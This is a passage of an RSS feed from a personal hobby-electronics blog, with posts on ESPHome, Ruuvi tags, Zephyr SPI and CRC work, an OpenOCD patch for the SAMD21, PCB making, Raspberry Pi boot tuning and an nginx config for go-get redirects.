      <title>ESPHome as a Ruuvi bridge</title>
      <link>https://juju.nz/michaelh/post/2020/esphome/</link>
      <pubDate>Sat, 01 Feb 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/esphome/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://esphome.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESPHome&lt;/a&gt; is a framework for building custom home
automation that runs on an ESP8266 or

&lt;a href=&#34;https://en.wikipedia.org/wiki/ESP32&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP32&lt;/a&gt;. It&amp;rsquo;s pretty cool - you
select and configure components by writing a 
&lt;a href=&#34;https://esphome.io/cookbook/display_time_temp_oled.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;YAML
file&lt;/a&gt;, which
then drives host side 
&lt;a href=&#34;https://github.com/esphome/esphome/blob/dev/esphome/components/ruuvitag/sensor.py&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Python
snippets&lt;/a&gt;
to configure and bind the device side code, which is then built and
pushed using 
&lt;a href=&#34;https://platformio.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PlatformIO&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Some nice touches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It integrates with 
&lt;a href=&#34;https://home-assistant.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Home Assistant&lt;/a&gt;
and has automatic discovery&lt;/li&gt;
&lt;li&gt;It can drive displays, including 
&lt;a href=&#34;https://esphome.io/cookbook/display_time_temp_oled.html#define-the-fonts&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;rendering TTF files&lt;/a&gt;
host side to give nice fonts device side&lt;/li&gt;
&lt;li&gt;It looks reasonably composable so, for example, you can have
multiple Bluetooth broadcast parsers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I used this to bridge between 
&lt;a href=&#34;https://ruuvi.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Ruuvi tags&lt;/a&gt; and my
Home Assistant instance. Home Assistant then re-exports everything to

&lt;a href=&#34;https://prometheus.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Prometheus&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It also gave me a reason to break out the 3D printer and make a case
for the ESP-WROOM-32 based

&lt;a href=&#34;https://wiki.wemos.cc/products:lolin32:lolin32&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lolin32&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./case.jpg&#34; alt=&#34;Case&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Android phone as an alarm clock</title>
      <link>https://juju.nz/michaelh/post/2018/stand/</link>
      <pubDate>Sat, 20 Oct 2018 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2018/stand/</guid>
      <description>&lt;p&gt;My son wanted to get an alarm clock for his room which preferably
plays MP3s.  MP3 players are 
&lt;a href=&#34;https://www.interdiscount.ch/de/fernseher-audio/mp3-audiorecording/mp3-media-player--C164000/intertronic-mp3-player-mp3-767-blt-4-gb-black--P0001433489&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;surprisingly expensive&lt;/a&gt; at 40 CHF for
a 4 GiB model so I picked up a used 
&lt;a href=&#34;https://www.ebay.co.uk/itm/MOTOROLA-MOTO-E-2nd-Gen-XT-1524-Unlocked-Tesco-Various-Colours-Mobile/232869676340&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Moto E 2nd gen phone&lt;/a&gt; for 35
GBP, loaded a stripped down version of 
&lt;a href=&#34;https://lineageos.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lineage OS&lt;/a&gt; on it, and
designed a 
&lt;a href=&#34;https://juju.nz/src/michaelh/CAD/src/branch/master/stands&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;3D printed a stand&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;stand.jpg&#34; alt=&#34;Moto E on a 3D printed stand&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;render.png&#34; alt=&#34;Render of the stand&#34;&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m quite happy with how it turned out.  The phone is just an alarm
clock and MP3 player as the other apps are either not installed or (like the
Play Store) behind Lineage&amp;rsquo;s protected app feature.  This gives ~5 GiB
of free storage for songs.  The battery lasts for &amp;gt;= 5d as well.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll do one more revision to build a 
&lt;a href=&#34;https://www.ebay.co.uk/itm/1-5m-USB-2-0-A-To-RIGHT-ANGLE-MICRO-B-Data-Charging-Cable-Lead-007241/191762039916&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;right angle USB cable&lt;/a&gt; into
the base for easy charging.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ST Link v2 clone as a dev board</title>
      <link>https://juju.nz/michaelh/post/2017/st_link_dev_board/</link>
      <pubDate>Thu, 04 Jan 2018 17:22:05 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/st_link_dev_board/</guid>
      <description>&lt;p&gt;I got distracted and had a hack on using a STL Link v2 clone as a
development board.  There&amp;rsquo;s a lot to like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Cortex-M3 STM32F103C8T processor with 64 KiB of flash and 20 KiB
of RAM&lt;/li&gt;
&lt;li&gt;4 I/O lines and a LED to blink&lt;/li&gt;
&lt;li&gt;Decent support in 
&lt;a href=&#34;https://github.com/stm32duino&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;STM32duino&lt;/a&gt; with a
DFU bootloader&lt;/li&gt;
&lt;li&gt;Comes in a case and plugs directly into a USB port&lt;/li&gt;
&lt;li&gt;
&lt;a href=&#34;https://www.aliexpress.com/wholesale?SearchText=st&amp;#43;link&amp;#43;v2&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;~$2/each&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The I/O is strange and limited but it&amp;rsquo;s enough to drive a RGB LED via
PWM, drive a 40 RGB LED

&lt;a href=&#34;https://shop.pimoroni.com/products/unicorn-phat&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;pHAT&lt;/a&gt; over SPI, and
drive a 
&lt;a href=&#34;https://www.adafruit.com/product/2478&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;320x240 LCD&lt;/a&gt; over fast
bitbanged SPI.&lt;/p&gt;
&lt;p&gt;I won&amp;rsquo;t continue with this though.  The I/O is too limited and a

&lt;a href=&#34;http://wiki.stm32duino.com/index.php?title=Blue_Pill&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Blue Pill&lt;/a&gt; is
the same price sans case.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SDHC over SPI performance</title>
      <link>https://juju.nz/michaelh/post/2017/sdhc_speed/</link>
      <pubDate>Fri, 29 Dec 2017 15:23:56 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/sdhc_speed/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m hacking on adding SDHC over SPI block device support to the

&lt;a href=&#34;https://www.zephyrproject.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Zephyr Project&lt;/a&gt; RTOS.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m currently getting 224 KiB/s on an Arduino Zero with a 4 MHz bus
and 1 KiB read size, which is an OK-ish 46 % of the top bus capacity.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s where the time goes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4550 us - total time to read 2x 512 byte blocks from the card&lt;/li&gt;
&lt;li&gt;80 us - time spent in ELM FS (impressive!) and timing code&lt;/li&gt;
&lt;li&gt;330 us - time for the no-name SD card to make the sector ready&lt;/li&gt;
&lt;li&gt;1500 us - time to transfer 512 bytes over SPI&lt;/li&gt;
&lt;li&gt;330 us - time to calculate the CRC to check the sector&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The SPI transfer itself is done in bursts of 16 bytes (~32 us) and the
SPI driver has a turn-around time of 16 us.&lt;/p&gt;
&lt;p&gt;Turning that into percentages,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4 % is in core code&lt;/li&gt;
&lt;li&gt;15 % is in the SD card&lt;/li&gt;
&lt;li&gt;67 % is in the SPI transfer&lt;/li&gt;
&lt;li&gt;15 % is in the CRC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The next steps are to optimise the SPI driver and use the hardware CRC
unit.  That could bring the time per block down to &lt;code&gt;(80 + 330 + 1000 + 100)&lt;/code&gt; = &lt;code&gt;~1500 us&lt;/code&gt; and the transfer rate up to
332 KiB/s / 67 % utilisation.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The many different CRC16-CCITTs</title>
      <link>https://juju.nz/michaelh/post/2017/crc16/</link>
      <pubDate>Mon, 27 Nov 2017 20:24:30 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/crc16/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m hacking on adding Arduino Zero support to the Zephyr Project at the
moment.  I had a look at speeding up &lt;code&gt;crc16_ccitt()&lt;/code&gt; but ran into a
problem: there&amp;rsquo;s so many variants of CRC16-CCITT to choose from!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Zephyr uses CRC-16/AUG-CCITT which is equivalent to
CRC-16/CCITT-FALSE with two zero bytes prepended. The effective
seed is &lt;code&gt;0x1d0f&lt;/code&gt; and test vector output is &lt;code&gt;0xe5cc&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mynewt uses CRC-16/XMODEM. The seed is 0 and test vector
output is &lt;code&gt;0x31c3&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Contiki uses CRC-16/CCITT. The seed is 0, input and output are
bit reversed, and test vector output is &lt;code&gt;0x2189&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Linux uses CRC-16/MCRF4XX. The seed is &lt;code&gt;0xffff&lt;/code&gt;, input and
output are bit reversed, and the test vector output is &lt;code&gt;0x6f91&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Arduino Zero&amp;rsquo;s SAMD21 uses CRC-16/CCITT as per Contiki.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Contiki, Linux, and the SAMD21 are the same except for the seed.
Zephyr is close, but you need to modify the seed to account for the
padding.  Mynewt is the outlier as all others reverse the input and
output.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&#34;http://reveng.sourceforge.net/crc-catalogue/16.htm&#34;&gt;http://reveng.sourceforge.net/crc-catalogue/16.htm&lt;/a&gt; for a
catalogue.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>OpenOCD with the ST-Link v2</title>
      <link>https://juju.nz/michaelh/post/2017/openocd/</link>
      <pubDate>Mon, 09 Oct 2017 20:28:54 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/openocd/</guid>
      <description>&lt;p&gt;There is an issue when trying to program a

&lt;a href=&#34;http://www.atmel.com/products/microcontrollers/arm/sam-d.aspx&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;SAMD21&lt;/a&gt;
like in the 
&lt;a href=&#34;https://store.arduino.cc/usa/arduino-zero&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arduino Zero&lt;/a&gt;
using 
&lt;a href=&#34;http://openocd.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenOCD&lt;/a&gt; with a

&lt;a href=&#34;https://www.aliexpress.com/wholesale?SearchText=st-link&amp;#43;v2&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ST-Link v2&lt;/a&gt;
which gives errors like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;** Programming Started **
auto erase enabled
Info : SAMD MCU: SAMD21E18A (256KB Flash, 32KB RAM)
Error: Failed to erase row containing 00000000
Error: SAMD: failed to erase sector 0
Error: failed erasing sectors 0 to 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The issue is that &lt;code&gt;NVMCTRL_CTRLA&lt;/code&gt; is a half-word register and the
ST-Link v2 emulates the half word write using two single byte writes.&lt;/p&gt;
&lt;p&gt;The hack-around is to change to a word write:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/src/flash/nor/at91samd.c b/src/flash/nor/at91samd.c
index 2673b0ee..f060bceb 100644
--- a/src/flash/nor/at91samd.c
+++ b/src/flash/nor/at91samd.c
@@ -472,7 +472,7 @@ static int samd_issue_nvmctrl_command(struct target *target, uint16_t cmd)
        }

        /* Issue the NVM command */
-       res = target_write_u16(target,
+       res = target_write_u32(target,
                        SAMD_NVMCTRL + SAMD_NVMCTRL_CTRLA, SAMD_NVM_CMD(cmd));
        if (res != ERROR_OK)
                return res;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See &lt;a href=&#34;https://sourceforge.net/p/openocd/mailman/message/34565277/&#34;&gt;https://sourceforge.net/p/openocd/mailman/message/34565277/&lt;/a&gt; for
more.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SAMD21E18 PCB</title>
      <link>https://juju.nz/michaelh/post/2017/demini/</link>
      <pubDate>Mon, 02 Oct 2017 19:31:48 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/demini/</guid>
      <description>&lt;p&gt;In follow up to my mysensors.org build, I&amp;rsquo;ve always wanted to design
PCB and try my hand at SMD soldering.  I normally use veroboard on a
0.1&amp;rdquo; pitch but the time to cut and solder wires makes for a slow
build.  Here&amp;rsquo;s the result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;board.jpg&#34; alt=&#34;Final PCB assembled&#34;&gt;&lt;/p&gt;
&lt;p&gt;It has:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An AT91SAMD21E18 (256 KiB flash, 32 pins, 0.8 mm pitch)&lt;/li&gt;
&lt;li&gt;USB, regulator, Cortex SWD debug header, LED, and pullups on I2C&lt;/li&gt;
&lt;li&gt;Footprint for a RFM69CW radio&lt;/li&gt;
&lt;li&gt;Adafruit Feather form factor&lt;/li&gt;
&lt;li&gt;Two layer PCB with 0603 passives&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The soldering turned out well.  I mainly used the used the
tin/remove-excess-with-solderwick method and a heatgun for the
USB socket.  For the CPU tinning and then pressing down on the pins
with the tip of the iron worked well.&lt;/p&gt;
&lt;p&gt;Changes for the next version would be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add a ~10 k pullup to RST&lt;/li&gt;
&lt;li&gt;Move the LED to PA17 to match the Zero&lt;/li&gt;
&lt;li&gt;Reduce the LED current limit resistor to 1k from 2k2&lt;/li&gt;
&lt;li&gt;Put footprints on the bottom of the board for a Si7021 and/or a
25FL064+&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>MySensors</title>
      <link>https://juju.nz/michaelh/post/2017/mysensors/</link>
      <pubDate>Mon, 02 Oct 2017 19:27:58 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/mysensors/</guid>
      <description>&lt;p&gt;It gets warm and humid here in the summer and feels too dry in the
winter.  To measure this I built up two 
&lt;a href=&#34;http://mysensors.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MySensors&lt;/a&gt;

&lt;a href=&#34;https://www.openhardware.io/view/1/Sensebender-Micro&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sensebender Micro&lt;/a&gt;
boards and designed a 3D printed a case to go with
them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;box.jpg&#34; alt=&#34;Final unit assembled&#34;&gt;&lt;/p&gt;
&lt;p&gt;The holes in the case are to save on print time and let the air flow.
The battery is far oversized and probably self discharges faster
than the board draws current.&lt;/p&gt;
&lt;p&gt;I ended up using a Raspberry Pi Zero with a RFM69HW as the gateway.
It&amp;rsquo;s connected as a Ethernet gadget to my home server which lets
everything run over IP while using a single cable for power and data.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adventures in making PCBs</title>
      <link>https://juju.nz/michaelh/post/2017/pcb-null/</link>
      <pubDate>Mon, 11 Sep 2017 11:09:18 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/pcb-null/</guid>
      <description>&lt;p&gt;As part of adding 
&lt;a href=&#34;https://www.mysensors.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MySensors&lt;/a&gt; based sensors around the house, I want to
make an integrated version of the 
&lt;a href=&#34;https://www.mysensors.org/hardware/micro&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sensebender Micro&lt;/a&gt; upgraded with a
SAMD21 and a 
&lt;a href=&#34;https://webshop.ideetron.nl/RFM69HCW&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;RFM69HCW&lt;/a&gt; radio.  I&amp;rsquo;ve never had much success with making
PCBs at home, so I thought I&amp;rsquo;d give it another try and record the
experiments.&lt;/p&gt;
&lt;p&gt;Try 1: HP M252dw, laminator @ 10 mm, 4 times through, Migros-brand
T-Shirt transfer paper.  Some transfer but lots left behind.  Tape
melted with heat?  Learn: rotate image to make better use of paper.
Transfer paper goes hatches down in paper tray.&lt;/p&gt;
&lt;p&gt;Try 2: HP, iron, transfer paper. Iron: max temp, no steam, 30s in
place, 2m total.  Too much movement, smeared.  Transfer paper has a
sticky layer (by design?) which melted.  Lesson: T-shirt transfer
paper is not usable.&lt;/p&gt;
&lt;p&gt;Try 3: HP, iron, glossy IKEA catalog pages.  Iron: as #2.  Paper
reports as jammed.&lt;/p&gt;
&lt;p&gt;Try 4: HP, iron, HP Q5451A photo paper.  I wrapped the paper around
the PCB, which makes it rise.  Paper sticks to the iron when heated.
Result: little toner transferred.&lt;/p&gt;
&lt;p&gt;Try 4: Samsung, iron, HP Q4551A photo paper.  Result: little toner
transferred.&lt;/p&gt;
&lt;p&gt;Try 5: PCB coated with blue spray paint, 40W laser to remove the
paint.  Result: a thin film is left on the copper.  Trying to remove
the film also removes the paint.  Too higher power also shrinks the
tracks.  Result is insensitive to power level so lower is
better.&lt;/p&gt;
&lt;p&gt;So, no luck yet.  I&amp;rsquo;ve ordered some 
&lt;a href=&#34;http://pcbfx.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PCBfx&lt;/a&gt; toner
transfer paper and TRF foil.  I&amp;rsquo;ve also ordered a small batch from

&lt;a href=&#34;http://DirtyPCBs.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Dirty PCBs&lt;/a&gt; to see what the turn around time is
like.  It may be worth it for the detail and lack of mess.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>juju.net.nz/michaelh on IPFS</title>
      <link>https://juju.nz/michaelh/post/2017/ipfs/</link>
      <pubDate>Sun, 09 Jul 2017 15:01:26 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/ipfs/</guid>
      <description>&lt;p&gt;The short story is that this blog is now available on

&lt;a href=&#34;https://ipfs.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;IPFS&lt;/a&gt; at
&lt;a href=&#34;https://juju.net.nz/ipns/juju.net.nz/michaelh/&#34;&gt;https://juju.net.nz/ipns/juju.net.nz/michaelh/&lt;/a&gt; and
&lt;a href=&#34;https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/&#34;&gt;https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is done by generating the blog a second time with &lt;code&gt;ipfs/&lt;/code&gt; as the
basepath, changing to relative links, and then adding and updating the
name as part of the 
&lt;a href=&#34;https://buildbot.net/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;buildbot&lt;/a&gt; script.

&lt;a href=&#34;http://gohugo.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Hugo&lt;/a&gt; has relative and canonical link support but
it seems inconsistent, and it&amp;rsquo;s hard to resist a &lt;code&gt;sed&lt;/code&gt; script&amp;hellip;&lt;/p&gt;
&lt;p&gt;I quite like how you can map ownership across DNS and IPFS using a TXT
record.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Raspberry Pi Zero boot speed</title>
      <link>https://juju.nz/michaelh/post/2017/piboot/</link>
      <pubDate>Sun, 02 Jul 2017 11:46:07 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/piboot/</guid>
      <description>&lt;p&gt;I enjoy working on embedded systems, but there&amp;rsquo;s a significant amount
of work you have to do in getting the platform ready before getting to
the more interesting business logic.  The

&lt;a href=&#34;https://www.raspberrypi.org/blog/raspberry-pi-zero-w-joins-family/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Raspberry Pi Zero W&lt;/a&gt;
solves most of these problems: it&amp;rsquo;s small, has decent I/O, a decent
price ($10 + $6 for storage + $4 for shipping) and runs full Linux so
I can use my current language of choice.&lt;/p&gt;
&lt;p&gt;One problem is boot speed.  It&amp;rsquo;s common to power cycle an embedded
project so a long boot time slows down the build/test cycle.  A long
boot time can also affect the safety of the system.&lt;/p&gt;
&lt;p&gt;Because of this, I had a hack on the Raspbian boot time.  The
&lt;code&gt;.target&lt;/code&gt; units are boot milestones such as basics ready, filesystem
ready, and networking ready.  &lt;code&gt;systemd-analyze plot&lt;/code&gt; shows where the
time went and what was running in parallel such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ grep target boot-2.svg
&amp;lt;text class=&amp;quot;left&amp;quot; x=&amp;quot;390.802&amp;quot; y=&amp;quot;94.000&amp;quot;&amp;gt;remote-fs-pre.target&amp;lt;/text&amp;gt;
&amp;lt;text class=&amp;quot;left&amp;quot; x=&amp;quot;391.128&amp;quot; y=&amp;quot;114.000&amp;quot;&amp;gt;cryptsetup.target&amp;lt;/text&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a bonus, the &lt;code&gt;x&lt;/code&gt; attribute is the time in centi-seconds the span
started which makes it easer to measure.&lt;/p&gt;
&lt;p&gt;The biggest savings were through disabling unneeded services and
switching from &lt;code&gt;/etc/init.d/networking&lt;/code&gt; to &lt;code&gt;systemd-networkd&lt;/code&gt;.  The
final boot order was:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;boot-2.svg&#34; alt=&#34;Boot order and timing&#34;&gt;&lt;/p&gt;
&lt;p&gt;giving:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2.70 s before userspace.&lt;/li&gt;
&lt;li&gt;3.91 s is the earliest a no-dependency service can start.  Useful
for any safety response.&lt;/li&gt;
&lt;li&gt;7.42 s to local-fs: filesystem is up and usable&lt;/li&gt;
&lt;li&gt;7.94 s to basic&lt;/li&gt;
&lt;li&gt;17.8 s to network up.  Includes the wifi and DHCP time so network
dependent.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moving from ext4 to f2fs made no difference. There&amp;rsquo;s probably another
1 s to be saved through shrinking the kernel and, say, moving USB to a
module so it can init later.&lt;/p&gt;
&lt;h1 id=&#34;update&#34;&gt;Update&lt;/h1&gt;
&lt;p&gt;I switched to a custom kernel with no printk() and USB as a module.  I
also switched from the Debian services to things like
systemd-timesyncd and disabling the Debian dhcpcd.  Times now are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0.80 s before userspace.&lt;/li&gt;
&lt;li&gt;1.70 s is the earliest a no-dependency service can start.  Useful
for any safety response.&lt;/li&gt;
&lt;li&gt;5.11 s to local-fs: filesystem is up and usable&lt;/li&gt;
&lt;li&gt;5.88 s to basic&lt;/li&gt;
&lt;li&gt;7.03 s to network - although it&amp;rsquo;s hard to tell if the network is up&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;boot-3.svg&#34; alt=&#34;Boot order and timing&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>cxx17: working through Cracking the Coding Interview</title>
      <link>https://juju.nz/michaelh/post/cxx17/</link>
      <pubDate>Tue, 27 Jun 2017 22:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/cxx17/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m working my way through &lt;code&gt;Cracking the Coding Interview&lt;/code&gt; as a way of
learning the new features and tool ecosystem of C++17.&lt;/p&gt;
&lt;p&gt;Q1.9 reminded me of those games where you need to make a shape by
drawing straight lines through dots.  The trick with those games is to
realise that you can draw outside the (implicit) bounds of the dots
themselves.  For Q1.9, the trick is to realise that you can concat the
test string as any rotation will be a substring of the repeated
string.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m quite happy with the expressiveness of C++17 (with ranges-v3) so
far.  The solution to Q1.9 looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return (lhs + lhs).find(rhs) != std::string::npos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;which is very Pythonic.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>go packages on your own domain</title>
      <link>https://juju.nz/michaelh/post/2017/go-get/</link>
      <pubDate>Sun, 16 Apr 2017 21:00:59 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/go-get/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://golang.org/cmd/go/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;go get&lt;/a&gt; has a nice feature where it will
fetch the package URL and, based on a meta tag, redirect to the actual
location.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the nginx config I use to redirect &lt;code&gt;go get juju.net.nz/x/package&lt;/code&gt;
to either my private repo (for unreleased stuff) or my

&lt;a href=&#34;https://juju.nz/michaelh/src&#34;&gt;cgit instance&lt;/a&gt; for everything else.  This is similar to how
&lt;code&gt;golang.org/x/...&lt;/code&gt; and &lt;code&gt;gobot.io/x/...&lt;/code&gt; operate.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server {
        ...
        location ~ /x/(.*) {
                if (-d /home/juju/p/git/$1.git) {
                        return 200 &#39;&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git ssh://juju@$host/~juju/p/git/$1.git&amp;quot;&amp;gt;\n&#39;;
                }
                if (-d /home/juju/git/$1.git) {
                        return 200 &#39;&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git $scheme://$host/src/$1.git&amp;quot;&amp;gt;\n&#39;;
                }
                return 404;
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a bonus this means I could, say, shift the code to github without
breaking existing code.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>DFRobot FIT0441 pinout</title>
      <link>https://juju.nz/michaelh/2016/11/dfrobot-fit0441-pinout/</link>
      <pubDate>Fri, 25 Nov 2016 21:25:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/11/dfrobot-fit0441-pinout/</guid>
      <description>&lt;p&gt;I ordered two FIT0441 brushless motors for use in v2 of my balancing robot. The 
&lt;a href=&#34;https://www.dfrobot.com/wiki/index.php/FIT0441_Brushless_DC_Motor_with_Encoder_12V_159RPM&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;DFRobot&lt;/a&gt; wiki page on the motor is incorrect so I thought I’d blog about it so someone else can find it 🙂&lt;/p&gt;
&lt;p&gt;The motor comes with a 5 pin JST-SH cable with a white end and a black end. The white end goes to the motor. When looking from the back of the motor with the socket at the 6 o’clock position, the wires are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Blue (left most): PWM. Take to GND for full speed.&lt;/li&gt;
&lt;li&gt;Black: GND / Supply negative&lt;/li&gt;
&lt;li&gt;Yellow: Direction&lt;/li&gt;
&lt;li&gt;Green: encoder output. ~680 Hz at full speed&lt;/li&gt;
&lt;li&gt;Red (right most): 12V&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that the black end has a completely different order.&lt;/p&gt;
&lt;p&gt;To make the motor spin, connect 12V to Black and Red and short Blue to GND. To make it spin in the opposite direction, short Yellow to GND.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ESP8266 IO bridge</title>
      <link>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</link>
      <pubDate>Sun, 23 Oct 2016 18:58:04 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://github.com/eriksl/esp8266-universal-io-bridge&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;github.com/eriksl/esp8266-universal-io-bridge&lt;/a&gt; looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A toy PL/0 compiler</title>
      <link>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</link>
      <pubDate>Thu, 25 Aug 2016 19:54:44 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</guid>
